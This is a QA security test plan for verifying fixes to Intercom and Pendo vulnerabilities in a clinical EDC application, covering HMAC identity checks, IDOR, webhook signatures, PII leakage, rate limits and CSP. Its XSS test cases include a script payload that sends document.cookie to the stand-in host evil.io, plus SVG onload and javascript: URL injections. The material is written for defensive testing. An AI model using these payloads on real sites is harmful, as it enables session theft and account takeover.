

PRODUCTION-READY QA SECURITY TEST PLAN

Intercom & Pendo Vulnerability Remediation

Section 1 — Vulnerability Register

10 vulnerabilities identified across. Every TC in Section 3 maps to a Vuln ID below.

Vuln ID	Vulnerability	OWASP / Ref	Surface	Sev	Remediation	TC IDs
V-01	Intercom Identity Verification disabled / HMAC not enforced	A07:2021 — Auth Failures	Widget Boot (EDC+CSP)	Critical	Enable Identity Verification; generate HMAC via INTERCOM_IDENTITY_SECRET in backend	TC-IV-001–004
V-02	Intercom widget exposes PII (email, user_id) in browser console / network tab	A02:2021 — Crypto Failures	Widget JS / Network	High	Strip secrets from client boot payload; move to server-side hash generation	TC-PII-001–003
V-03	IDOR — cross-user conversation access via Intercom REST API	A01:2021 — Broken Access Control	REST API /conversations	High	Enforce per-user token scoping in backend Intercom client	TC-API-002
V-04	XSS via unsanitized custom_attributes injected into Intercom widget	A03:2021 — Injection	Widget custom_attributes	High	HTML-encode all custom_attributes before passing to window.Intercom('update')	TC-XSS-001–003
V-05	Pendo snippet loads PII (studyId, siteld, email) without data minimisation	A02:2021 — Crypto Failures	Pendo visitor metadata	High	Remove PHI fields; pass only opaque IDs to pendo.initialize()	TC-PII-004–005
V-06	Missing webhook signature validation (X-Hub-Signature-256 not verified)	A08:2021 — Software Integrity	Intercom Webhook Receiver	High	Validate HMAC-SHA256 of raw payload against INTERCOM_WEBHOOK_SECRET	TC-WH-001–004
V-07	CSP missing *.intercom.io and	A05:2021 — Security Misconfig	HTTP Response Headers	Medium	Add script-src/connect-src directives for intercom.io, intercomcdn.com, pendo.io	TC-CSP-001–002

Vuln ID	Vulnerability	OWASP / Ref	Surface	Sev	Remediation	TC IDs
	*.pendo.io — allows CDN bypass					
V-08	Pendo trackEvent leaks study subject identifiers in event properties	A02:2021 — Crypto Failures	Pendo Event Tracking	Medium	Audit pendo.track() calls; replace subjectId with hashed/opaque token	TC-P11-006
V-09	Rate limiting absent on Intercom REST API proxy (backend)	A04:2021 — Insecure Design	Backend API proxy	Medium	Add 83 req/10s throttle on backend Intercom proxy; return 429 with Retry-After	TC-RL-001-002
V-10	Clickjacking — Intercom iframe missing frame-ancestors CSP directive	A05:2021 — Security Misconfig	Intercom Widget iframe	Low	Add Content-Security-Policy: frame-ancestors 'self' *.intercom.io	TC-CSP-002

Section 2 — Preconditions

2.1 Build & Deployment

- Build feature/EDC-42201 #1.0.0.4 deployed to QA environment
- Confirm deployment: `curl -I https://edcapp-qa.medrio.com | grep x-build-version → 1.0.0.4`
- Branch: feature/EDC-42201 — confirm HEAD SHA matches deployed artifact

2.2 Intercom Configuration

- Intercom app_id: app_edc_prod — confirm in browser source: `window.intercomSettings.app_id`
- Identity Verification: Enabled in Intercom workspace → Settings → Identity Verification = ON
- HMAC Secret: `echo $INTERCOM_IDENTITY_SECRET | wc -c` → must be > 0 (non-empty)
- API Version: All backend Intercom calls include header `Intercom-Version: 2.11`
- CSP header: `curl -I https://edcapp-qa.medrio.com/dashboard | grep content-security-policy`

2.3 Test Accounts Required

Account	user_id	email	Purpose
EDC Site User	usr_qa_001	qa_user@medrio.com	Happy path + PII tests

Account	user_id	email	Purpose
EDC Sponsor (User B)	usr_qa_002	qa_sponsor@medrio.com	IDOR cross-user tests (TC-API-002)
Admin account	usr_qa_admin	qa_admin@medrio.com	Scope-limited token tests (TC-API-004)
Zero-permission user	usr_qa_noperm	qa_noperm@medrio.com	Auth failure tests
CSP Tenant User	usr_csp_001	csp_user@medrio.com	CSP-specific Pendo + Intercom tests

2.4 Existing Test Data

- Conversation IDs: conv_88441 (owned by usr_qa_001), conv_USER_B_55992 (owned by usr_qa_002)
- Study: Phase3-Oncology-Study | Site: SITE_042 — must exist in QA environment
- Slow OData entity for proxy rate test: minimum 500 subjects in study

2.5 Tools & Setup

- Postman: Import EDC-42201-Intercom.postman_collection.json — set env var INTERCOM_API_TOKEN_EDC
- Burp Suite: Set proxy to 127.0.0.1:8080 — intercept *.intercom.io and *.pendo.io traffic
- ngrok: ngrok http 3000 — expose local webhook receiver for TC-WH-001 to TC-WH-004
- k6: brew install k6 — used for TC-RL-001 rate limit test
- OpenSSL: verify openssl version → OpenSSL 3.x — used for all HMAC hash generation

2.6 Mocking & Isolation

- Use non-production Intercom workspace (app_id: app_edc_qa) — never production workspace during tests
- HMAC secret for tests: Rotate INTERCOM_IDENTITY_SECRET to known test value before TC-IV-001
- Rate limit reset: Wait 60s between TC-RL-001 runs to avoid carry-over throttle state

Section 3 — Test Cases (26 Total)

Categories: Identity Verification (4) · API AuthZ (4) · Webhook (4) · XSS/Injection (3) · PII Exposure (6) · Rate Limiting (2) · CSP (2) · Regression (3)

TC ID	Vuln ID	Category	Title	Exact Request / Action / Payload	Expected Result (Status + Body + Log Evidence)	Actual Result	P/F	Sev
TC-IV-001	V-01	Identity Verif.	Valid HMAC boot accepted for EDC user	JS: window.Intercom('boot', { app_id: 'app_edc_prod', user_id: 'usr_qa_001', email: 'qa_user@medrio.com', user_hash: HMAC_SHA256(key=INTERCOM_IDENTITY_SECRET, msg='usr_qa_001') })	HTTP 200 from js.intercom.io/messenger/web Widget renders authenticated session Network: no 401/403 from Intercom Console: 0 Intercom errors Log: identity_verified=true		—	Critical
TC-IV-002	V-01	Identity Verif.	Tampered user_hash rejected — 1-byte flip	JS: window.Intercom('boot', { app_id: 'app_edc_prod', user_id: 'usr_qa_001', user_hash: '<valid_hash_with_last_char_changed>' }) E.g. valid ends in 'a3' → change to 'a4'	Intercom rejects session Widget does NOT display user data Network: Intercom returns 403 or unauthenticated state Console: no PII logged Log: identity_verified=false		—	Critical
TC-IV-003	V-01	Identity Verif.	Missing user_hash when IV enabled → denied	JS: window.Intercom('boot', { app_id: 'app_edc_prod', user_id: 'usr_qa_001', email: 'qa_user@medrio.com' // user_hash intentionally omitted })	Widget boots in ANONYMOUS mode only User context (name/email) NOT pre-filled Network: no authenticated Intercom session created Response body must NOT contain email/user_id		—	Critical
TC-IV-004	V-01	Identity Verif.	Hash computed for user_A used against user_B → rejected	1. Generate: HMAC('usr_qa_001', INTERCOM_IDENTITY_SECRET) 2. Boot widget with user_id='usr_qa_002' and user_hash from step 1 window.Intercom('boot', { app_id:'app_edc_prod', user_id:'usr_qa_002', user_hash: <hash_for_usr_qa_001> })	Intercom returns 403 for mismatched identity Widget does NOT show usr_qa_002's conversations Console: authentication error — no data bleed Log: user_id mismatch detected		—	Critical
TC-API-001	V-03	API AuthZ	Valid token fetches own conversation — 200	curl -X GET 'https://api.intercom.io/conversations/conv_88441' \ -H 'Authorization: Bearer {INTERCOM_API_TOKEN_EDC}' \ -H 'Accept: application/json' \ -H 'Intercom-Version: 2.11'	HTTP 200 OK Body: {"type":"conversation","id":"conv_88441"} owner matches authenticated user No cross-user data present		—	High
TC-API-002	V-03	API AuthZ	IDOR: token of User A cannot fetch User B conversation	curl -X GET 'https://api.intercom.io/conversations/conv_USER_B_55992' \ -H 'Authorization: Bearer {INTERCOM_API_TOKEN_USER_A}' \ -H 'Intercom-Version: 2.11'	HTTP 403 Forbidden Body: {"errors":[{"code":"forbidden"}]} MUST NOT return conversation body MUST NOT expose User B email/name Log: unauthorized_access_attempt conv_55992		—	High
TC-API	V-03	API AuthZ	Expired Bearer token rejected — 401	curl -X GET 'https://api.intercom.io/contacts' \ -H 'Authorization: Bearer EXPIRED_TOKEN_abc123xyz' \ 	HTTP 401 Unauthorized		—	High

TC ID	Vuln ID	Category	Title	Exact Request / Action / Payload	Expected Result (Status + Body + Log Evidence)	Actual Result	P/F	Sev
-003				-H 'Intercom-Version: 2.11'	Body: {"errors":[{"code":"unauthorized","message":"..."}]}			
TC-API-004	V-03	API AuthZ	Scope-limited token blocked from admin endpoint	curl -X GET 'https://api.intercom.io/admins' \ -H 'Authorization: Bearer {READ_ONLY_SCOPED_TOKEN}' \ -H 'Intercom-Version: 2.11'	HTTP 403 Forbidden Body: errors[].code = 'forbidden' No admin list returned Log: scope_violation on /admins		—	High
TC-WH-001	V-06	Webhook	Valid HMAC-signed webhook accepted and processed	payload={"type":"conversation.user.replied","id":"conv_88441"} sig=\$(echo -n "\$payload" openssl dgst -sha256 \ -hmac "\$INTERCOM_WEBHOOK_SECRET" -hex awk '{print \$2}')	HTTP 200 OK from webhook receiver Event logged: conversation.user.replied conv_88441 No rejection in application logs DB: conversation state updated		—	High
TC-WH-002	V-06	Webhook	Tampered payload with original signature → rejected	# Valid payload + valid sig, then alter payload type: Original payload: {"type":"conversation.user.replied",...} Tampered payload: {"type":"conversation.admin.assigned",...} Send ORIGINAL signature with TAMPERED body curl -X POST '.../webhooks/intercom' \ -H "X-Hub-Signature-256: sha256=\$ORIGINAL_SIG" \ -d '{"type":"conversation.admin.assigned","id":"conv_88441"}'	HTTP 401 Unauthorized Body: {"error":"signature_mismatch"} Event NOT processed — no DB change Log: WARN webhook_rejected signature_mismatch		—	High
TC-WH-003	V-06	Webhook	Missing X-Hub-Signature-256 header → 401	curl -X POST 'https://edcapp.medrio.com/webhooks/intercom' \ -H 'Content-Type: application/json' \ -d '{"type":"conversation.user.replied","id":"conv_88441"}' // No signature header sent	HTTP 401 Unauthorized Body must include: {"error":"missing_signature"} Event NOT processed or stored No sensitive data echoed back		—	High
TC-WH-004	V-06	Webhook	Replayed webhook (same payload+sig) rejected if replay protection active	# Step 1: Send valid webhook (TC-WH-001) → 200 OK # Step 2: Resend IDENTICAL request (same headers+body) # within 5 minutes (replay window) curl -X POST '.../webhooks/intercom' \ -H "X-Hub-Signature-256: sha256=\$SAME_SIG" \ -d "\$SAME_PAYLOAD"	HTTP 409 Conflict or 200 (idempotent) If replay protection: Body={"error":"duplicate_event"} Event processed only ONCE — no duplicate DB records Log: duplicate_webhook_id detected		—	Medium
TC-XSS-001	V-04	XSS/Injection	Script tag in Intercom name attribute not executed	window.Intercom('update', { name: '<script>fetch("https://evil.io/?c="+document.cookie)</script>' }); // Observe Intercom messenger UI rendering	Script NOT executed in browser (no outbound evil.io request) Value rendered as literal escaped text in widget UI Console: 0 additional JS errors Network: no request to evil.io		—	High

TC ID	Vuln ID	Category	Title	Exact Request / Action / Payload	Expected Result (Status + Body + Log Evidence)	Actual Result	P/F	Sev
TC-XSS-002	V-04	XSS/Injection	SVG onload injection via custom_attributes.bio blocked	<pre>window.Intercom('update', { custom_attributes: { bio: "<svg onload=\"alert(document.domain)\">>" } }); // Check widget messenger contact card</pre>	alert() NOT triggered SVG tag rendered as plain escaped text No JS execution context created Console: 0 alerts or JS events from SVG		—	High
TC-XSS-003	V-04	XSS/Injection	javascript: URL in profile_url custom attribute sanitized	<pre>window.Intercom('update', { custom_attributes: { profile_url: 'javascript:alert(document.cookie)' } }); // Click rendered link in Intercom widget</pre>	Link click does NOT execute alert() URL replaced with '#' or blocked entirely No JS execution — browser shows no dialog Network: no unexpected outbound call		—	High
TC-PII-001	V-02	PII Exposure	INTERCOM_IDENTITY_SECRET not visible in browser network tab	1. Open Chrome DevTools → Network tab 2. Login to EDC as qa_user@medrio.com 3. Filter requests: intercom 4. Inspect all Intercom JS boot payloads 5. Search for 'INTERCOM_IDENTITY_SECRET' or raw key value	ZERO occurrences of INTERCOM_IDENTITY_SECRET in any network request Only user_hash (hashed output) present — never the raw secret Console: no secret value printed Source maps: secret not in client JS bundle		—	High
TC-PII-002	V-02	PII Exposure	EDC studyId / siteld not in Intercom API error response body	<pre>curl -X GET 'https://api.intercom.io/conversations/INVALID_CONV_999' \ -H 'Authorization: Bearer {INTERCOM_API_TOKEN_EDC}' \ -H 'Intercom-Version: 2.11'</pre>	HTTP 404 Not Found Body: <pre>{"errors":[{"code":"not_found","message":"Resource Not Found"}]}</pre> Body MUST NOT contain: studyId, siteld, subjectId, email No stack trace in response		—	High
TC-PII-003	V-02	PII Exposure	Intercom widget boot does not log email to browser console	1. Open Chrome DevTools → Console 2. Enable 'Verbose' log level 3. Login to EDC, trigger Intercom boot 4. Search console output for: email, user_id, qa_user@medrio.com	Zero matches for raw email in Console output Zero matches for raw user_id value Only obfuscated/hashed identifiers permitted if any No Intercom internal tokens visible		—	High
TC-PII-004	V-05	PII Exposure	Pendo initialize() does not send PHI fields in visitor metadata	1. Open Network tab, filter: pendo 2. Login to EDC 3. Inspect pendo.initialize() call payload: POST https://app.pendo.io/data/guide 4. Decode payload — check visitor fields	Visitor object contains ONLY: visitorId (opaque hash) MUST NOT contain: email, subjectId, studyName, siteld Account object: accountId only — no study names Log: pendo_init fields verified		—	High

TC ID	Vuln ID	Category	Title	Exact Request / Action / Payload	Expected Result (Status + Body + Log Evidence)	Actual Result	P/F	Sev
TC-P11-005	V-05	P11 Exposure	Pendo metadata in CSP tenant contains no subject identifiers	1. Login to CSP as sponsor role 2. Open Network → filter pendo 3. Inspect all pendo.track() POST payloads 4. Search payload JSON for: subject, patient, subjectId	ZERO subject/patient identifiers in any Pendo payload Only opaque event names (e.g. 'study_opened') permitted No PHI in event properties object		—	High
TC-P11-006	V-08	P11 Exposure	pendo.track() event properties contain no raw subjectId	// Trigger in-app action that fires Pendo event // e.g., open subject record in EDC // Intercept via Pendo debugger or Network tab: pendo.track('subject_record_opened', { subjectId: 'SUB-001' // THIS IS THE RISK PATTERN }); // Verify actual payload sent	Pendo event payload: subjectId field ABSENT or replaced with hash Safe pattern: { subjectRef: SHA256('SUB-001') } Network: no raw clinical identifier in pendo.track body		—	Medium
TC-RL-001	V-09	Rate Limiting	83 req/10s to Intercom proxy returns 429 with Retry-After	# k6 load script: import http from 'k6/http'; export let options = { vus: 84, duration: '10s' }; export default function() { http.get('https://edcapp.medrio.com/api/intercom/proxy/conversations', { headers: { Authorization: 'Bearer {INTERCOM_API_TOKEN_EDC}' } }); }	HTTP 429 returned after 83rd request in 10s window Header: Retry-After: <seconds> present Body: {"error": "rate_limit_exceeded"} Requests 1-83: HTTP 200 Log: rate_limit_triggered user=usr_qa_001		—	Medium
TC-RL-002	V-09	Rate Limiting	10x rapid widget boot/shutdown — no zombie DOM elements	// Execute in browser console: for(let i=0;i<10;i++){ window.Intercom('boot',{app_id:'app_edc_prod',user_id:'usr_qa_001'}); window.Intercom('shutdown'); } // Then inspect DOM:	DOM query: document.querySelectorAll('#intercom-container') Result: exactly 1 element (not 10) No orphaned iframes: document.querySelectorAll('iframe[name*=intercom]').length === 1 Memory: no heap growth > 50MB Console: no uncaught exceptions		—	Medium
TC-CSP-001	V-07	CSP	Content-Security-Policy header includes Intercom and Pendo domains	curl -I 'https://edcapp.medrio.com/dashboard' \ -H 'Cookie: {valid_session_cookie}' \ grep -i 'content-security-policy'	Header present: Content-Security-Policy script-src includes: *.intercom.io *.intercomcdn.com *.pendo.io connect-src includes: *.intercom.io api.intercom.io app.pendo.io frame-ancestors: 'self' *.intercom.io No 'unsafe-inline' in script-src		—	Medium
TC-CSP-002	V-07, V-10	CSP	Injected inline script blocked by CSP — violation logged	// Via browser console (simulating injection): const s = document.createElement('script'); s.textContent = "window.Intercom('shutdown');"; document.head.appendChild(s); // Also attempt via DOM injection: document.body.innerHTML += '<script>alert(1)</script>';	Script NOT executed — CSP blocks inline script Browser console: CSP violation error logged 'Refused to execute inline script' message present No Intercom shutdown triggered		—	Medium

TC ID	Vuln ID	Category	Title	Exact Request / Action / Payload	Expected Result (Status + Body + Log Evidence)	Actual Result	P/F	Sev
					CSP report-uri receives violation report (if configured)			
TC-RE-G-001	V-01	Regression	Valid authenticated EDC user boots Intercom widget post-patch	1. Login to EDC as role=SiteUser, user=qa_user@medrio.com 2. Navigate to /dashboard 3. Observe Intercom widget (bottom-right launcher) 4. Click launcher → chat window opens 5. Verify pre-filled context: name, email, study	HTTP 200 from Intercom boot (Network tab) Widget visible: launcher icon rendered within 3s of page load Chat window opens on click User context shown: name='QA User', email='qa_user@medrio.com' Console: 0 Intercom-related errors		—	—
TC-RE-G-002	V-06	Regression	Legitimate conversation.user.replied webhook processed correctly	# Send valid Intercom webhook event: payload={'type':"conversation.user.replied","id":"conv_88441","data":{"item":{"id":"conv_88441"}}} sig=\$(echo -n "\$payload" openssl dgst -sha256 -hmac "\$INTERCOM_WEBHOOK_SECRET" awk '{print \$2}') curl -X POST '.../webhooks/intercom' \ -H "X-Hub-Signature-256: sha256=\$sig" \ -d "\$payload"	HTTP 200 OK from webhook endpoint Conversation state updated in EDC DB Log: event_processed type=conversation.user.replied No signature rejection error No duplicate processing		—	—
TC-RE-G-003	V-04	Regression	Intercom custom_attributes with safe values written and displayed	window.Intercom('update', { custom_attributes: { study_name: 'Phase3-Oncology-Study', site_id: 'SITE_042', user_role: 'SiteUser' } }); // Verify in Intercom messenger contact details	All 3 attributes visible in Intercom messenger contact card Values match exactly: 'Phase3-Oncology-Study', 'SITE_042', 'SiteUser' No HTML encoding artifacts on display API: GET /contacts/{id} shows custom_attributes with correct values		—	—

Section 4 — Intercom & Pendo Config Validation

Config Item	Expected Value	Where Verified	Env Var / Key	Risk if Wrong
Identity Verification (EDC)	Enabled = true in Intercom workspace settings	Intercom dashboard → Settings → Identity Verification	INTERCOM_IDENTITY_VERIFICATION_ENABLED=true	Users can be impersonated — any user_id accepted without proof

Config Item	Expected Value	Where Verified	Env Var / Key	Risk if Wrong
HMAC Secret (EDC)	32-char hex string, not hardcoded	grep -r 'INTERCOM_IDENTITY_SECRET' src/ → 0 results	INTERCOM_IDENTITY_SECRET	Attacker can forge user_hash for any user_id
Intercom API Token scope	Read+Write on conversations only — NOT full-access	Intercom Settings → API Keys → Token scopes	INTERCOM_API_TOKEN_EDC	Over-scoped token exposes all workspace data if leaked
Webhook Signature Secret	Present in env var only; not in appsettings.json or Git	git log -S 'INTERCOM_WEBHOOK_SECRET' → 0 results	INTERCOM_WEBHOOK_SECRET	Unsigned webhooks accepted → attacker can fake events
CSP: script-src	Includes *.intercom.io *.intercomcdn.com *.pendo.io	curl -I edcapp.medrio.com grep content-security-policy	HTTP Response Header	Attacker can inject scripts from external domains
CSP: frame-ancestors	'self' *.intercom.io — no wildcard *	Same curl check above	HTTP Response Header	Clickjacking attack possible via iframe embedding
Pendo API Key	Present in env var; not embedded in public JS bundle	Browser DevTools → Sources → search 'pendo_api_key'	PENDO_API_KEY	Key abuse for fake event injection into Pendo analytics
Intercom API Version header	Intercom-Version: 2.11 in all backend calls	Code review Intercom client config + network logs	INTERCOM_API_VERSION=2.11	Version drift causes undocumented breaking changes

Quick Validation Commands

```
# Check HMAC secret is set (non-empty) echo $INTERCOM_IDENTITY_SECRET | wc -c # Expected: > 0 # Check secret not hardcoded in source grep -r 'INTERCOM_IDENTITY_SECRET' ./src --include='*.cs' --include='*.json' # Expected: 0 matches in appsettings.json or committed files # Verify CSP header present curl -sI https://edcapp-qa.medrio.com/dashboard | grep -i content-security-policy # Expected: script-src includes *.intercom.io *.pendo.io # Verify Intercom API version in backend client config grep -r 'Intercom-Version' ./src # Expected: 'Intercom-Version: 2.11' in Intercom HTTP client setup
```

Section 5 — Tools & Execution Commands

Identity Verification — HMAC Generation

```
# Generate valid user_hash for usr_qa_001 echo -n 'usr_qa_001' | openssl dgst -sha256 -hmac "$INTERCOM_IDENTITY_SECRET" # Output: SHA2-256(stdin)= <64-char hex hash> # Generate tampered hash (flip last char) for TC-IV-002 VALID_HASH=$(echo -n 'usr_qa_001' | openssl dgst -sha256 -hmac "$INTERCOM_IDENTITY_SECRET" | awk '{print $2}') TAMPERED=${VALID_HASH:0:-1}X # Replace last char with 'X' echo $TAMPERED
```

Intercom REST API — cURL Templates

```
# TC-API-001: Fetch own conversation curl -X GET 'https://api.intercom.io/conversations/conv_88441' \ -H 'Authorization: Bearer ""$INTERCOM_API_TOKEN_EDC' \ -H 'Accept: application/json' \ -H 'Intercom-Version: 2.11' # TC-API-002: IDOR — User A fetches User B conversation curl -X GET 'https://api.intercom.io/conversations/conv_USER_B_55992' \ -H 'Authorization: Bearer ""$INTERCOM_API_TOKEN_USER_A' \ -H 'Intercom-Version: 2.11' # Expected: HTTP 403 — NOT 200
```

Webhook Signature Generation & Testing

```
# Generate valid webhook signature for TC-WH-001 PAYLOAD="{\"type\":\"conversation.user.replied\",\"id\":\"conv_88441\"}" SIG=$(echo -n "$PAYLOAD" | openssl dgst -sha256 -hmac "$INTERCOM_WEBHOOK_SECRET" | awk '{print $2}') # Send valid webhook curl -X POST 'https://edcapp-qa.medrio.com/webhooks/intercom' \ -H 'X-Hub-Signature-256: sha256=$SIG' \ -H 'Content-Type: application/json' \ -d "$PAYLOAD" # TC-WH-002: Send tampered payload with original signature TAMPERED="{\"type\":\"conversation.admin.assigned\",\"id\":\"conv_88441\"}" curl -X POST 'https://edcapp-qa.medrio.com/webhooks/intercom' \ -H 'X-Hub-Signature-256: sha256=$SIG' \ -H 'Content-Type: application/json' \ -d "$TAMPERED" # Expected: HTTP 401
```

XSS Testing — Browser Console Steps

```
// TC-XSS-001: Script injection test // Step 1: Open Chrome DevTools → Network tab (record) // Step 2: Paste in Console: window.Intercom('update', { name: '<script>fetch(\"https://evil.io/?c=\"+document.cookie)</script>' }); // Step 3: Check Network tab — NO request to evil.io // Step 4: Inspect widget UI — name shown as escaped literal text // TC-XSS-002: SVG injection window.Intercom('update', { custom_attributes: { bio: '<svg onload=\"alert(document.domain)>' } }); // Expected: no alert dialog triggered
```

Rate Limiting — k6 Script (TC-RL-001)

```
// Save as intercom_ratelimit.js import http from 'k6/http'; import { check } from 'k6'; export let options = { vus: 84, duration: '10s' }; export default function() { const res = http.get( 'https://edcapp-qa.medrio.com/api/intercom/proxy/conversations', { headers: { 'Authorization': 'Bearer ' + __ENV.INTERCOM_API_TOKEN_EDC } } ); check(res, { 'first 83 requests succeed': (r) => r.status === 200, '84th+ request throttled': (r) => r.status === 429, 'Retry-After header present on 429': (r) => r.status !== 429 || r.headers['Retry-After'] !== undefined, }); } // Run: k6 run -e INTERCOM_API_TOKEN_EDC=$INTERCOM_API_TOKEN_EDC intercom_ratelimit.js
```

Section 6 — Severity-Based Execution Order

RULE: Wave 1 and Wave 2 (Critical) must PASS before any Wave 3+ tests begin. A single FAIL in waves 1-4 is a release blocker.

Wave	Priority	Category	TC IDs	Rationale	Blocking?	Tool
1	Critical	Identity Verif.	TC-IV-001 – TC-IV-004	HMAC bypass = full user impersonation. Must pass before any other test.	YES — STOP	Postman + Browser Console

Wave	Priority	Category	TC IDs	Rationale	Blocking?	Tool
2	 Critical	Webhook Security	TC-WH-001 – TC-WH-004	Unsigned webhooks allow arbitrary event injection. No auth = no trust.	YES — STOP	cURL + ngrok
3	 High	API AuthZ (IDOR)	TC-API-001 – TC-API-004	Cross-user data access violates HIPAA/GDPR. Must be blocked.	YES — STOP	cURL / Postman
4	 High	XSS / Injection	TC-XSS-001 – TC-XSS-003	Stored XSS in widget can steal session cookies for all Intercom users.	YES — STOP	Browser Console + Burp Suite
5	 High	PII Exposure	TC-PII-001 – TC-PII-006	PHI in Intercom/Pendo payloads = regulatory violation.	YES	DevTools Network Tab
6	 Medium	Rate Limiting	TC-RL-001 – TC-RL-002	Abuse protection — important but not blocking unless DoS is trivial.	NO	k6
7	 Medium	CSP	TC-CSP-001 – TC-CSP-002	Defense-in-depth; required before production but not a show-stopper if layers above pass.	NO	cURL + Browser
8	 Regression	Regression	TC-REG-001 – TC-REG-003	Validate no functional breakage from security changes.	YES (must all pass)	Postman + Browser

Section 7 — Sign-Off & Exit Checklist

Security Remediation Verified

	Checklist Item	TC Reference	Owner
☐	INTERCOM_IDENTITY_SECRET non-empty in QA env — HMAC generation succeeds	TC-IV-001	QA Security Lead
☐	Tampered user_hash rejected by Intercom (modified 1 byte → 403)	TC-IV-002	QA Security Lead
☐	Missing user_hash when Identity Verification enabled → anonymous session only	TC-IV-003	QA Security Lead
☐	Cross-user HMAC hash rejected — usr_qa_001 hash cannot boot as usr_qa_002	TC-IV-004	QA Security Lead
☐	IDOR blocked: conv_USER_B_55992 returns HTTP 403 when accessed with User A token	TC-API-002	QA Security Lead
☐	Webhook receiver rejects tampered payload — HTTP 401, no DB update	TC-WH-002	QA Engineer

	Checklist Item	TC Reference	Owner
☐	Webhook receiver rejects missing signature — HTTP 401	TC-WH-003	QA Engineer
☐	XSS: <script> in name attribute not executed — HTML escaped in widget	TC-XSS-001	QA Security Lead
☐	SVG onload injection not executed in Intercom widget	TC-XSS-002	QA Security Lead
☐	INTERCOM_IDENTITY_SECRET absent from all browser network requests	TC-PII-001	QA Security Lead
☐	Pendo initialize() payload contains no email, subjectId, studyName	TC-PII-004	QA Security Lead
☐	Rate limit: HTTP 429 + Retry-After returned after 83rd request/10s	TC-RL-001	QA Engineer
☐	CSP header includes *.intercom.io *.pendo.io in script-src and connect-src	TC-CSP-001	QA Engineer
☐	Inline script injection blocked by CSP — violation logged in console	TC-CSP-002	QA Engineer

Regression Verified

	Checklist Item	TC Reference	Owner
☐	EDC widget boots for qa_user@medrio.com post-patch — HTTP 200 from Intercom, user context shown	TC-REG-001	QA Engineer
☐	conversation.user.replied webhook processed correctly with valid HMAC signature	TC-REG-002	QA Engineer
☐	Safe custom_attributes (study_name, site_id, user_role) written and displayed correctly	TC-REG-003	QA Engineer

Release Gate

	Checklist Item	TC Reference	Owner
☐	0 Critical severity defects open	All Wave 1-2 TCs	QA Lead
☐	0 High severity defects open	All Wave 3-4 TCs	QA Lead
☐	All 26 test cases executed — status recorded in JIRA	All TCs	QA Lead
☐	QA Security Lead signature obtained	—	QA Security Lead
☐	Security Team sign-off obtained (InfoSec / AppSec)	—	Security Team

	Checklist Item	TC Reference	Owner
☐	Build #1.0.0.4 cleared for Stage promotion	—	QA Lead